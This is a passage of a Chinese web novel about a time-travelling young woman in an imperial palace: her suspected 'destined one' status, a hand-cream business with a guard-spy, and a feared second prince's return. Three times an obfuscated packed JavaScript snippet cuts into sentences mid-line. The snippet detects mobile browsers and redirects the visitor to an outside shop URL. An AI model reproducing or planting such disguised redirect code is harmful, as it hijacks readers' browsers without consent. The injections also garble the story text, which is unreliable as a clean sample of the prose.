《别想跑!本殿非你不可》 5. 凤凰现,天命降;两界缘,乾元兴 凌云殿,乾元帝刘景批奏折的地方。 “哦?醒了?” 刘盛微微躬身,“是的,陛下。” 刘景将手中的红色批笔放下,恍然回忆起上一任国师明阳道人离世前曾给他留下的最后谶言:“凤凰现,天命降;两界缘,乾元兴。” 明阳道人十卦九灵,算是个真正意义上的得道高人,每每刘景遇事犹豫不决之时,都会找他求教。 因为明阳道人的存在,乾元朝才能够在刘景手中蒸蒸日上。 不过,也许是看破天机太多的原因,明阳道人才四十六岁便与世长辞,现在的国师是他的亲传大弟子一霖道人。 当然,一霖道人也不过才二十出头,比起明阳道人的本事相差甚远,属于那种卜十卦只有五卦灵的,一半灵一半不灵的。 所以,相比之前,刘景找他的次数屈指可数。 不过,在李黎昏迷不醒之时,刘景便派刘盛亲自去邀请他,只为确定李黎到底是不是明阳道人谶言中的那个天命之人? 一霖道人居住在皇宫的东北角,乾坤殿。 刘盛赶到的时候,一霖道人正拿着手中的龟甲占卜,神态极为认真。 身旁的小道士大气不敢喘,生怕影响到他的占卜结果。 “丁零当啷”三声过后,三枚铜钱旋转几十圈便贴在木桌上不再转动了。 一霖道人细细查看一番,大喜,“三个正面,大吉啊大吉!” 一旁的小道士松了一口气,行了一个道士礼,对着他道:“启禀师兄,刘公公已经在外等候您多时了,不知可否请他进来?” 一霖道人闻言,脸上讶意一闪而过。 距离刘景寻他,已经过去三个月之久了,他以为…… 不过想来也是遇到什么非常要紧的事了吧! 说道:“怎么不早说?还不快请人进来?” 小道士连忙应了一声:“是!师兄!” 刘盛跟在小道士身后走了进来,对着上首的一霖道人微微躬了躬身,“参见国师大人!” 一霖道人抬眼,“不必多礼,不知刘公公来此是陛下那边出什么事儿了吗?” 刘盛直起身子,便把事情的来龙去脉一一告知。 闻言,一霖道人的眼睛一下子就亮了! “真就印证了刚刚的卦象,刘公公,走,本国师这就同你一起去!” “好!” 刘盛一把应下,便在前方带路。 于是,在李黎一无所知的时候,一个小小的东元殿,聚集了整个乾元朝跺跺脚都要抖三抖的人物。 石婉晴将李黎左手的袖子往上翻了翻,漏出完整的红色凤凰胎记,在场所有人的眼神不期然地全部瞪大,其中数小道士的为最。 石婉晴转过身来,双手抱拳禀报道:“启禀主子、国师,属下已经确认过了,这个红色印记确确实实是胎记,不存在任何后期药材拓然而成。” 刘景又仔细地看了眼昏迷中的李黎,“好,朕知道了!” 便转头看向一霖道人,“一霖,你说,这人会是你师父留下的谶言中所预示的那个天命之人吗?” 一霖道人沉默半晌,才答道:“凤凰现,天命降;两界缘,乾元兴。 陛下,微臣并不能十分肯定眼前这人就是师父谶言中的天命之人。” 刘景眼中的期待慢慢消散。 就听一霖道人紧跟着大喘气说道:“虽不能确定这人是否是天命之人,但天命之人自带定国安邦之能,不如陛下把她放在眼皮子底下,是庸人还是天命之人自见分晓!” “好!就按你说的来办!” 刘景的眼神骤然亮起,不得不说这是个好方法。 是骡子是马,拉出来溜溜不就知道了吗? 一霖道人微微点头,如此一来,只需一段时日,这人是否是天命之人也就一清二楚了。 “刘盛,你去安排太医给这个叫李黎的人医治,就算用最好的药也要把她给朕医好!” “是!”刘盛连忙躬身应下。 刘景转头看向石婉晴,道:“暗七,从现在起,你隐藏身份跟在李黎身边,将她的一举一动全都汇报给朕,并且一定要保证她的安全!” “是!” 石婉晴点头应下了! 紧接着,刘景又补充了一句:“对了,顺便让暗一给朕调查一下李黎的身份背景,天命之人的身份马虎不得。” “是!” 石婉晴再次应了一声。 果然主子就是主子,连这方面都想到了! 昏迷过去的李黎毫无所觉,还在梦中面对着不断落下的木杖,嗷嗷惨叫着。 殊不知,从今天起,她将彻底成为改变整个乾元朝的关键性人物! —— 回到凌云殿。 “那刘盛,你时刻关注着李黎那边一点儿,别让其他人打扰到她,对了,记得封锁一切消息。” 刘景不放心地再次嘱咐了几句。 “是,陛下!” 刘盛应下,就算陛下不说,他也会这样做的。 与此同时,几天后,在石婉晴的精心照料下,李黎屁股上的伤口也快结痂了,两人相处的也比较愉快。 只是对于石婉晴“不经意间”的问询,李黎终是存了个心眼儿,没有全部和盘托出,半真半假地答着。 自从发生了何梦背叛她的这件事儿后,李黎就明白,真心有可能换不来真心,尤其是在这个人命不值钱的时代,你的一次真心可能换来一次要你命的利剑。 那不如从一开始就不对任何人付出真心,也好过受伤后独自舔舐伤口,更怕因此丧命,再也回不到她心心念念的家,见不到她的亲人。 吃一堑再吃一堑,她总得长点儿智吧? 不过,不愧是伺候皇帝的宫女,比起之前,她的生活质量可谓是发生了翻天覆地的变化。 首先是吃的方面,不提顿顿有肉,就单是菜的精细程度,堪比现代那些个主理人开的饭馆,一盘盘精致又美味,她的胃早已拜倒在御厨的手艺下。 之前在宫女坊和谭才人手底下,一周有一次荤腥就不错了,吃的最多的就是萝卜了,天知道每次午夜梦回,李黎有多少次想念热气腾腾的火锅和烧烤。 波涛汹涌的口水泛滥成灾,却是一点儿也抑制不住,每每想到这里,李黎都要心痛的无法呼吸。 死手,为什么当初要碰那面铜镜? 可惜,天下没有后悔药,回不去一切都是徒劳。 不过,现在尝过了御厨的手艺后,李黎对火锅和烧烤的欲望少了那么一niuniu。 她有信心,只要她不放弃,就一定能够找到那面铜镜,重新穿越回现代,到时候一天吃个十顿八顿的,不在话下。 “对了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024921|194355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,李黎,还没问过你,你识字吗?” 石婉晴一边替她上药,一边询问道。 李黎眨巴一下眼睛,道:“呜,字倒是认识些,就是可能有些不大熟,不过多熟悉两遍就好了。” 石婉晴笑着点点头,“那挺好的,识些字总归是好的,运气好的话还可以替陛下磨墨呢!” “真的?” 李黎的眼睛一下子变得晶亮,那她不就是成为古往今来第一个近距离替皇帝磨墨,也是看到皇帝亲手批奏折的现代人了吗? 这么想一想,似乎非常不错的样子。 石婉晴点了点头,“那是当然的,识点儿字总归好过做洒扫宫女,这不,你看,自从进宫后,我的手都粗糙了不少。” 李黎望了一眼,还真是这样。 “等我好了,可以帮你制些护手霜,只要使用一段时间,保准你的手滋润滑嫩。 不过,洒扫也好,磨墨也罢,哪里由的我们自己选择,我啊,只要能够留在东元殿就已经心满意足了。” 闻言,石婉晴轻“嗯”了一声。 “护手霜?这名字听起来倒是挺贴切的,看样子功效和手脂差不多吧,李黎,你还会做这个?也太厉害了!” 听到石婉晴的夸奖,李黎瞬间就来了精神,虽然没有吃过猪肉,但好歹见过猪跑啊! 她上大学空闲时间多,刷的短视频没有一千也有八百了,尤其喜欢看那些手工博主,比起那些个面条厂纯手搓自制三无直升机的,护手霜简直就是小儿科。 “很简单,把瓜蒌和杏仁磨成粉,再加上点蜂蜜调和就好了!” 石婉晴闻言双眼瞪大,“就这么简单?能有用吗?” 李黎点头,“嗯,简单是没错,有用没用,等我制出来你用一下不就知道了?” 石婉晴点头沉思了一会儿,笑着说道:“既然这样,李黎,不用等你动手,我自己倒是可以试试。” 李黎当即一口答应下来,“那好啊!” 正好她还省点儿事。 —— 另一边,被派去调查李黎身份的暗一可谓是陷入了泥沼。 没错,李黎的身份文书上只有简单的一句话:李黎,女,上阳府人。 没错,这人仿佛是凭空冒出来的一般,无家族信息,无出生地,就连年龄都没有,一整个三无人员。 要不是有上阳府的章印在上面,他都怀疑这人是否存在。 但刘景的吩咐,他自然不敢不从,势要把李黎的身份调查的明明白白。 最终,在他的多日观察下,一个损公肥私的差役映入他的眼帘。 在他稍稍漏出一点儿杀意后,差役就倒豆子一样全都说了。 于是,夜黑风高之时。 喝的醉醺醺的周老三和周老五在拐进上阳府的一个小巷子的时候,一身黑的暗一从天而降。 周老五憨憨一笑,一只手朝着暗一一指,另一只手拍了拍周老三的肩膀,“三哥,你快看,这人竟然会飞!” 闻言,周老三下意识把他的手拍掉,不甚清醒地说道:“别tm胡说,人怎么会飞呢?” 肌肉虬结的周老五喝醉后,更显得脑袋空空,一脸委屈巴巴道:“他明明就是会飞嘛!我刚刚明明亲眼看到的,三哥,你竟然不相信我,哇哇!” 说着,竟是嚎啕大哭起来。 暗一满头黑线。 6. 身份竟然隐藏的这样深? 忍无可忍的暗一直接挥刀。 冷兵器的寒芒闪过,使得周老三和周老五两人瞬间灵魂归位。 用尽此生最快的速度“砰”的一声……就跪下了。 不住的朝着暗一磕头并乞求道:“好汉,饶命啊! 如果我们兄弟俩有哪个地方得罪了您,还请您饶我俩一条狗命,我们上有八十岁老母,下有三岁嗷嗷待哺的孩子,求求您嘞!” 一旁的周老五同样有样学样,将坑坑洼洼的泥土路磕的砰砰作响,“好汉,饶命啊!” 暗一头上的黑线几乎布满整个额头。 这两个奇葩! 直接将刀架在周老三的脖子上。 瞬间,周老三就被吓的一动都不敢动了,“好汉饶命!好汉饶命!有话好好说!!” 呜呜呜,他还没来得及和青楼的小翠告别呢! 暗一黑色面罩下的那张脸依旧冷血无情,“我问你些事儿,你如实答来,要是有所隐瞒,别怪我不客气!” 说着,手中的刀刃靠得周老三的脖颈更近了些,甚至于周老三再移动上那么一毫米,那么等待他的,便是血流如注。 他忙不迭地答应下来,“好汉,你问你问,我肯定好好答,不会有一丝一毫的隐瞒。” 身旁的周老五见到他伤害自家三哥,当场就不干了,“你放开我三哥,要不然我周老五和你拼了!” 说完,起身便向着暗一冲来。 这个脑袋缺根绳的,最是见不得有人伤害周老三,毕竟在他心中,只有周老三不嫌弃他头脑简单、四肢发达,而且还经常带着他下馆吃肉、填饱肚子。 可惜,他碰到的人是暗一,堂堂暗卫首领,收拾个人还不是简简单单。 只出了一脚,周老五就呈抛物线倒飞出去。 在周老三瞪大的眼眸中。 xiu~啪!! 周老五撞到厚实的墙上,发出巨大的轰鸣。 而后滑落到地上,彻底昏死过去。 这下,周老三心中的惧意更甚,双腿像是开了拖拉机,抖的不像话。 但他实在想不起来,自己到底什么时候得罪过这样的绝顶高手。 只能噤若寒蝉,畏畏缩缩地道:“不知高手您到底想了解什么事情?” 暗一用另一只手从怀中取出李黎的画像展示给他看。 “这人你可认识?” 周老三一愣,这不是那个傻……,咳,好骗的小娘子吗? 忍不住再次抬眼看了暗一一眼,却被暗一眼中的杀气所吓到。 连忙垂下头去。 是了,那个小娘子说她是背着家里人偷偷跑出来的,听她的谈吐,就知道不是个普通人,看这人的打扮和浑身弥漫的杀气,莫不是那小娘子的家族得罪了什么人?要把人灭口。 死道友不死贫道,当下不再犹豫,小心翼翼的如实说道:“认,认识,她叫李黎。” 暗一歪头,“哦?你怎么认识她的?” 感受着脖颈处传来的寒意,周老三继续战战兢兢道:“是这样的,高手,本来我和老五在饭店吃饭,正好碰上这小娘子出来找寻工作,她说她是背着家里人偷偷跑出来的,浑身上下什么都没有。 于是……呃,我就动了歪心思,先帮她补办了户籍文书,然后就把她卖进宫中当宫女了。” 暗一沉默地记下一切,“那她有说她到底来自什么地方,家中父母、兄弟姐妹的情况?” “呃,没有听她说起过。” 周老三想了一下,如实交代道。 随后,暗一又询问了一些细节,周老三把自己知道的都说了。 “高手,我把知道的全都交代了,这下可以放过我们兄弟俩了吧?” 周老三舔着一张丑脸,对着暗一露出一抹谄媚的笑。 暗一点头,“可以!” 周老三刚扬起脸上的笑容,就见暗一手起刀落,干脆利落的结果了他。 当然,连带着周老五一起。 这两人的所作所为,死不足惜,多少花季少女除了被卖进宫中,就是被卖到那些个暗无天日的地方遭受磋磨。 这两人拿着她们卖身来的血汗钱却是活的潇潇洒洒,甚至于暗一觉得这样死还便宜了他俩,又多补了两刀。 打了三声口哨,立刻有其他暗卫出来,处理一切后续事情。 而暗一,则是进宫向刘景禀报他的调查结果去了。 —— “哦?身份竟然隐藏的这样深?” 刘景听了暗一的汇报后,还真有些惊讶。 暗一垂头,“属下无能。” 一时间整个凌云殿都安静下来。 旁边的刘盛也跟着忐忑不安。 就在这时,刘景发出一声轻笑。 “很有趣,不是吗?刘盛,你怎么看呢?” 刘盛微微躬身,面上略带几分惶恐,“陛下,老奴不敢。” 刘景摆了摆手,“无妨,刘盛,你也跟了朕这么多年,朕对你还是信任的。” 刘盛嘴角露出一抹恰到好处的笑意,“多谢陛下,老奴认为既然这位李黎姑娘的身份背景调查不到,只有三种情况,一种便是有个位高权重的人,将她的消息刻意隐藏起来了。 第二种,便是她不是我乾元朝之人,是番邦派来的探子,但老奴觉得这种可能性不大,毕竟一个手无缚鸡之力的人当暗探,那和找死没有区别。 最后一种,就是她便是真正的天命之人,老奴曾想,国师留下的谶言中所说的‘两界缘’,那是不是代表着真正的天命之人是自天上而来?” 此话一出,刘景同暗一齐齐震颤。 这……也不是完全没有可能。 毕竟只要是乾元朝的百姓,身份文书上不止基本信息,就连田地、宅院以及家人的身份信息都在上面,即使是流民,他的信息也依然在府城有登记备份。 是万万不可能会出现和李黎一样的情况的。 但……能把自己搞成那等模样,这天命之人的水份也太大了点儿吧? 刘景想到此,不由抽了抽嘴角。 当即摆了摆手,“罢了,无论她是什么身份背景,总归是在朕的眼皮子底下,翻不起什么大浪来。” “陛下所说的是!” 刘盛连忙笑着附和几声。 又过了五天,李黎总算能够下床走动了。 真的,再躺下去,她都要长痔疮了。 来到桌前给自己倒了杯茶水喝。 正在这时,石婉晴兴冲冲的走了进来。 “李黎,告诉你个好消息,你说的护手霜我终于研制成功了!” 闻言,李黎的眼眸骤然亮起,“你说的是真的?” 石婉晴抬了抬手中的石碗,“那当然,要不是这几天没有太多空闲,我早就动手了!” 李黎看着石碗内棕色的流状物,心中暗自点头。 不错不错,和她看过的短视频里面一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024922|194355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样的,婉晴还真是有两把刷子。 “那还等什么?快试试吧!” “嗯!” 石婉晴用力点了点头。 取了些就抹到手上,冰冰凉凉的,还有些舒服。 李黎一脸期待。 半个时辰过后,净过手的石婉晴手白了一个度。 和小臂一对比,效果简直不能更明显。 石婉晴眼中异彩连连,“这也太神奇了!” 就连李黎自己都没想到,果然就说刷视频能学到真东西吧! 不过真是亏麻了!亏麻了! 早知道效果这么好,她就应该趁着上学期间直接创业,赚它个盆满钵满! 呜呜呜,现在说什么也迟了! 两条宽面泪从李黎的两颊流下。 石婉晴一脸纳闷,“李黎,你怎么哭了?” 成功了难道不是好事儿吗? 李黎一脸悲伤地摇头,“没什么,就是感觉自己错亿了!” 石婉晴满脑袋问号。 又来了,李黎又在说她听不懂的话了! 不过看她这么悲伤,石婉晴也知趣的没有多加询问。 而是拿出手帕轻柔地擦了擦她脸上的泪水,“怎么还哭了呢?瞧,脸都花了!” 李黎感动地吸了吸鼻子。 一把就将她紧紧地拥抱在怀里。 呜呜呜,石婉晴温柔的模样让她想起奶奶了。 也不知道自己突然不见,奶奶会不会着急。 想了想,泪水如决堤的洪水,再也控制不住了! 她突然的动作让石婉晴始料未及。 石婉晴只感觉自己左肩处传来一片湿润和黏腻。 下意识将手搭在李黎的背上,轻轻的抚平她的悲伤。 不知过了多久,李黎终于恢复平静。 她的声音闷闷的,“对不起啊,婉晴,我只是突然想起了我的家人,所以有点儿悲伤。” 石婉晴摇了摇头,“没有关系的,人之常情。” “家人”这个词还是她第一次从李黎的嘴里听到。 “如果你愿意的话,我会是个很好的倾听者。” 李黎闻言一顿,缓缓摇了摇头,她现在不敢轻信任何一个人。 石婉晴微微一笑,丝毫不介意,“那好吧,如果不开心,可以随时找我!” 李黎用力点了点头,“嗯!” 情绪来的快,也转变的快,冷静下来的李黎看着桌上的“护手霜”,瞬间一个绝妙的点子闪过脑海。 虽然她在现代没有赚的盆满钵满,但在这里可以啊! 等她赚了钱,就买些玉、金子,还有一些值钱的玩意儿,等穿越回去,随便一转手,成为千万富翁岂不是轻而易举?! 越想越是这个理,况且,没有人规定不能去古代淘宝吧! 想着,晶亮的眼神不由落在了石婉晴的身上。 石婉晴被她看的发毛,不由伸出双臂紧紧抱住自己,满脸戒备。 “李李李黎,你,你想干嘛?” 不会是好什么金兰契吧?那她岂不是很危险? 李黎满头黑线,“你想什么呢?我只是想问你想不想赚钱?” 闻言,石婉晴松了一口气,“哦,吓死我了!” 将手臂放下。 “不过你说赚钱,赚银子?想啊!这世上谁会嫌银子多呢!尤其是我们这些地位低下的宫女,有点儿银子傍身总是好的。” 7. 二皇子刘惇 听她这样说,李黎瞬间感觉这件事能成的概率占了一大半。 瞬间狗狗祟祟地朝着石婉晴靠近了些许。 特意压低声音道:“我这里有个绝妙的点子,保证我们可以赚的盆满钵满,你想不想听?” 石婉晴震惊,而后点头如捣蒜。 银子人人爱,就连暗卫也不例外。 李黎的嘴角微微勾起,拉着她来到桌前坐下。 宝贝似的将石碗移过来。 石婉晴瞬间秒懂,“你是说,我们卖这个?” 李黎露出一抹“孺子可教”的眼神来,嘻嘻一笑,“婉晴,恭喜你,都会抢答了!” 石婉晴指着石碗道:“这是不是太过草率了?” 李黎歪了歪头,“草率吗?婉晴同志,历史的经验告诉我们,想发财就必须要有超强的行动力,要不然一切想法都是土鸡瓦狗! 况且,这款护手霜你也亲自实验过了,你就说它的效果好不好吧?” 闻言,石婉晴点头如捣蒜,“好,前所未有的好!” 李黎一拍掌,“那不就得了,好产品当然要分享给懂它的人,需要它的人,我们只不过顺便赚点儿碎银子而已。” 石婉晴双眼迷茫。 是这样吗? 李黎深知打铁还需趁热,“而且,在这深宫中,有多少宫女和你一样,因为常年劳作,手都变粗糙了,我们这是在帮她们,这是在做好事儿啊!” 不得不说,李黎讲起大道理来一套一套的,石婉晴从刚刚的迷茫逐渐变得坚定。 “对,你说的没错,这桩买卖,干了!” 李黎高兴的翘起嘴角。 内心忍不住摆出剪刀手,耶!成了! 对于做生意,石婉晴是一个新的不能再新的新手,毕竟从古至今,士农工商,商人的地位最低,她向来看不上,也更没时间做这些。 现在的她纯纯是个门外汉,对着李黎忍不住问道:“这个……李黎,那我们一次卖多少?还有卖多少两银子才合适?” 闻言,李黎嘴角的笑意顿时僵在脸上。 呃……她能说她还没想那么多吗? 看着石婉晴期待的目光,李黎思考了一会儿便说道:“我们就用装胭脂的陶瓷罐来放护手霜,至于价格嘛,我们就定一两银子好了!” 石婉晴看着李黎欲言又止,“一两?是不是稍微有点儿贵?那些个宫女有的月例不过才五百文而已。” 李黎看了她一眼,伸出一根食指左右摆了摆,“nonono,这你就不懂了吧? 如果东西卖的太过便宜,一方面常年跟着后宫各位娘娘见过好东西的宫女们根本就看不上眼;另一方面,一两银子她们省吃俭用点儿还是能买得起的。 而且,对于消费者,呃……也就是买东西的人来说,花了大价钱,才更显得弥足珍贵,再加上效果好,不愁没有销路。” 石婉晴沉默,她突然发现自己以前好像是个冤大头。 暗卫天天风里来雨里去的,她经常一发饷银,就去买些漂亮衣服,原来那些开商铺的老板们都是存了这样的心思。 奸商!奸商啊! 李黎的手在她眼前挥了挥,“婉晴?婉晴?” 石婉晴顿时回过神来,“嗯?” 李黎略带几分疑惑,“你刚刚想什么呢?你觉得我说的有道理吗?” 石婉晴下意识点头,吸了吸鼻子,“有……有道理,那就按你说的来吧!” 现在的石婉晴对李黎还真有些刮目相看,没想到她竟然懂得这么多,她有点儿相信眼前之人是国师谶言中的天命之人了。 李黎点了点头。 “嘻嘻,那就先这样定了,至于利润吗?” 说着,李黎脸上带了几分不好意思。 进了一趟惩戒司,她身上的银两全都被榨干了,一文钱都没有了。 唯一有价值的就是脖子上的金项链,但她是万万不会拿出来的。 “婉晴,你看哈,我也只是说了一个方子,实话和你说,嗯……我现在身上一文钱都没有了,我就不出物料那些银子了,不如我就少分点儿,你八我二怎么样?” 石婉晴当即摇头,“不可。” “啊?那你九我一也可以。” 见石婉晴不同意,李黎决定自己再退一步。 对着李黎,石婉晴也有点儿无奈了,这个傻姑娘,哪里有自己让利的,还往小了说,怎么一会儿聪明一会儿傻笨的。 要是有个现代人知道她心中所想,一定会摆摆手,根本不甚稀奇,现代大学生,主打着就是清澈中又带着些愚蠢。 石婉晴连忙解释,“不,李黎你误会了,我是说你只分两成太少了。 你出了方子,又帮忙出谋划策,应该和我平分。” 李黎闻言,惊讶地张大了小嘴。 “可,我也只是动了动嘴皮子,就分走你一半利润,这……这不太好吧!” 石婉晴闻言,抓住李黎的手,“才不会,要是没有你,这个护手霜根本就做不出来,好了,就这样说定了。 对了,我现在就去准备,你就等着分钱吧!” 说着,生怕李黎拒绝,端起桌上的石碗就快步走了出去。 李黎伸着尔康手,根本来不及叫住她。 看着她的背影消失在拐角,伸出的手才放下。 “真是的,这妮子,跑的是真快啊!” —— 离去的石婉晴,转角就碰上二皇子刘惇带着他的手下路过东元殿门口。 只见他面容桀骜,身高八尺。 一身黑色云锦,上面绣着云朵样式的金丝边,长发直垂到腰肌,稍一走动,独属于男性的荷尔蒙便扑面而来,属于那种又帅又有型的。 可惜,这些都被他凶残的气质所遮掩住了。 石婉晴连忙躬身行礼,“参见二皇子。” 刘惇眼神凌厉地扫了她一眼,昂首挺胸快步走过。 看着他们走远,石婉晴才直起身子。 擦了擦额头上渗出的冷汗。 不愧是闻名朝野上下的杀神,单单一个眼神,就让身为暗卫的她感受到了前所未有的压力。 不行,从今以后,见到二皇子,她一定有多远就躲多远。 石婉晴心中下定决心,定了定心神才去干自己的事情。 阿四跟在刘惇身后,对着刘惇道:“主子,刚刚的那个宫女是个练家子。” 刘惇神色冷峻,道:“皇宫之内,什么稀奇事儿没有,不必大惊小怪。” 阿四心中一紧,连忙垂头应答一声,“是,主子!” 此刻的乾元殿。 刘景盯着桌上摊开的奏折,眼中泛起一丝无奈。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024923|194355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >又是痛批刘惇滥杀成性的折子,同样的内容他看了没有一千,也有八百了,这些人是闲得蛋疼吗,怎么总盯着刘惇不放? 刘惇是他的亲儿子,他对他生来有愧,他现在变成这样,有很大的原因是和他有关。 要他处罚刘惇,他真的做不到,更何况刘惇刚刚立下大功。 正在这时,刘盛轻手轻脚的走了进来。 对着他禀报道:“启禀陛下,二皇子在外求见。” 刘景顿时回过神来,下意识将桌上的奏折给合上。 嘴角浮现出一丝笑意,“哦?是吗,还不快请他进来!” “是。” 刘盛当即应了一声。 凌云殿门口。 面对着气质杀伐的刘惇,刘盛面不改色心不跳,抬手道:“殿下,陛下有请。” 刘惇朝他轻点一下头,就迈步走了进去,留下阿四守在门口。 一看到他高大的身影,刘景的嘴角就翘得更高了。 “惇儿,回来了啊!” 刘惇抬手抱拳,“父皇安好!” 刘景看着他,不能更满意了。 “又长高了些,我们自家父子,就不用如此多礼了,来来来,快坐吧!” 刘惇将手放下,神情不变,道:“不用了,父皇,您有什么话就直说吧,儿臣定当洗耳恭听。” 刘景嘴角的笑意慢慢消失不见,眉头紧蹙,“惇儿,难道我们父子之间就非得弄这么僵吗?” 刘惇的目光移到他的脸上,“父皇,如果您没有别的事,儿臣就先行告退了!” 刘景的手慢慢收紧,“别,惇儿,你打败了罗刹国,并将整个罗刹国并入乾元版图,此战你有功,可有什么想要的?” 刘惇淡然应道:“多谢父皇好意,不过儿臣什么都不缺,而且此次胜仗,也不全是儿臣一个人的功劳。” 刘景无奈,每次面对刘惇,他就不知该如何是好,教训也不是,夸奖也不是。 整个乾元殿瞬间冷寂下来。 沉默良久,刘景最终摆了摆手,放过刘惇,也是放过自己。 “罢了,一路赶回上阳,你辛苦了,今天就先到这里,你回府休息去吧!” 刘惇抱了一下拳,便转身离开。 就听身后刘景的声音继续传来,“对了,刚回来,少造点儿杀戮。” 刘惇脚步一顿,“嗯”了一声,大步离去,也不知听没听进去。 “主子?” 见到他出来,阿四转过头。 “走吧,回府。” “是。” 刘盛看着主仆二人走远,才走进凌云殿。 正批奏折的刘景听到声音,抬了抬眼皮。 “那臭小子走了?” “是,陛下,二皇子已经离开了!” 刘盛躬着身子答道。 刘景将手中的红色批笔放下,“刘盛,你说,难道他这辈子都原谅不了朕了吗?” 看着刘景发红的眼角,刘盛的情绪也跟着垂落下去。 如果可以,他也想说能,可兰嫔的死确确实实是扎在二皇子刘惇心中的一根刺。 眼睁睁地看着自己母妃惨死在自己眼前,自己却是什么都做不了。 还因为没人护着,年纪小,在冷宫中受尽屈辱,他都不知道当时的二皇子是怎么熬过来的,唉! 10. 暗卫是一份没有前途的职业 刘盛拿出早已拟好的圣旨当堂宣读起来。 “……此次大胜罗刹国,众将士功不可没,朕心甚慰,特封卫罗衣卫将军为司马大元帅,位一品,赏黄金千两,绸缎百匹,田地百亩。 二皇子刘惇为荣安郡王,食邑千户,赏黄金百两。 其余人等官升一阶。 钦此!” 圣旨刚宣读完,礼部右侍郎高宗然就一步踏出。 举着笏板义正言辞道:“陛下,万万不可啊,还请收回成命,二皇子年龄尚小,虽有功绩,但完全可以换做其他奖赏,封王的话可能会影响整个乾元的江山社稷啊!” 此刻,在场其他官员看他的目光似乎在看一个勇士。 这愣头青,还真是头铁的狠啊! 竟然敢阻挠“杀神”的好事,真不怕小命不保啊! 其实,高宗然也怕,但心中的惧意远远没有他的成为皇亲国戚的欲望强烈。 他的嫡女嫁给了大皇子刘纯为侧妃,所以自然而然的,他站队就站在了刘纯那边。 一旦二皇子封王,那他的地位就凌驾于其他皇子之上,那么,等待大皇子的便是成为太子路上的巨大绊脚石,这是他万万不愿见到的。 刘景坐在上首,嘴角虽是笑着,但眼神很冷。 朕论功行赏,还容不得旁人置喙! 还有,别以为朕不知道你老小子心中打的什么算盘? 朕还没死呢,你们就打起这个位置的主意了,看来一个个都很是不安分的紧啊! 在场人噤若寒蝉,不敢言语。 刘惇则是一身冷冽,面无表情,似乎这件事和他一文钱关系都没有。 整个乾云殿一下子冷寂下来,连一根针掉在地上都清晰可闻。 刘景转头看向大皇子刘纯,“纯儿,你的意见呢?” 刘纯心底瞬间升起一阵慌乱。 抬手犹犹豫豫道:“儿臣……儿臣认为二弟的功绩封为郡王,实乃理所应当。 儿臣,并不反对。” 此话一出,高宗然的脸庞霎时变得惨白。 这话……和当众打他脸有什么区别。 他能听到他身旁的死对头那边传来若有若无的轻笑声,似乎在嘲笑他搬起石头砸自己的脚。 高宗然官袍下的手渐渐收紧。 刘景的目光扫向其他官员,“你们大家认为呢?” “陛下圣明,臣等无意见。” 所有官员齐齐躬身行礼,更衬的高宗然是一个跳梁小丑。 大家都不是傻子,明眼人看得出这很明显是板上钉钉的事情,犯不着因为这事儿触陛下霉头。 “好了,既然大家都同意,那就这样定下吧!” 最后刘景一锤定音。 早朝就这样落下帷幕,随着乾云殿内的官员们陆续走出,只有高宗然还停在原地。 他知道,自己算是完了! 千算万算没有算到刘纯竟是这样一个胆小如鼠的性子,他之前所做的一切全都喂了狗。 果不其然,没过几天,刘景就借着“办事不力”的由头,将高宗然贬谪了。 刘纯的侧妃挺着肚子跑去找刘纯求情,却被刘纯的侍卫挡在门外,从始至终,刘纯都避而不见。 刘惇收到消息,不为所动。 而刘景则是忍不住嗤笑一声,“刘纯,有贼心没贼胆,朕怎么会放心把乾元的江山交给你,你可真是无愧于朕给你取的名字啊!” 刘盛站在一旁,眼观鼻鼻观心,当做什么都没听见,他就是个宦官,什么都不知道。 —— 七天后,李黎屁股后面的伤好的差不多了。 伤口处的结痂也慢慢脱落,长出新的白嫩的皮肤,这下子李黎总算能安心坐下了。 每日午时,石婉晴总是提溜着餐盒来给她送饭,今天也不例外。 见到她的身影,李黎连忙招呼。 “来了啊!快坐快坐!我的伤口差不多已经大好了,今天趁着天气好,我还去外面打了两遍太极呢!” 李黎絮絮叨叨说些自己的事儿,每天她都待在屋子里走来走去,也没个人跟她说话,所以石婉晴一来是她话最多最密的时候。 石婉晴一边应和一声,一边把餐盒里面的食物拿出来摆放在桌上。 “是吗?那真是太好了!” 李黎口中的太极她见过,软绵绵的没有一丝力气,连宫中舞姬跳舞的力气大都没有。 在石婉晴看来,也顶多能打过两个耄耋之年的老头和老太太,不过为了不伤李黎面子,她没有选择实话实说。 将三菜一汤摆上桌,石婉晴看着四下无人,便狗狗祟祟地将房门给关上了。 李黎看着她的动作,一脑袋问号。 “怎么了?大白天的关门作甚?” 石婉晴则是转过头来,食指放在嘴前,“嘘——”了一声。 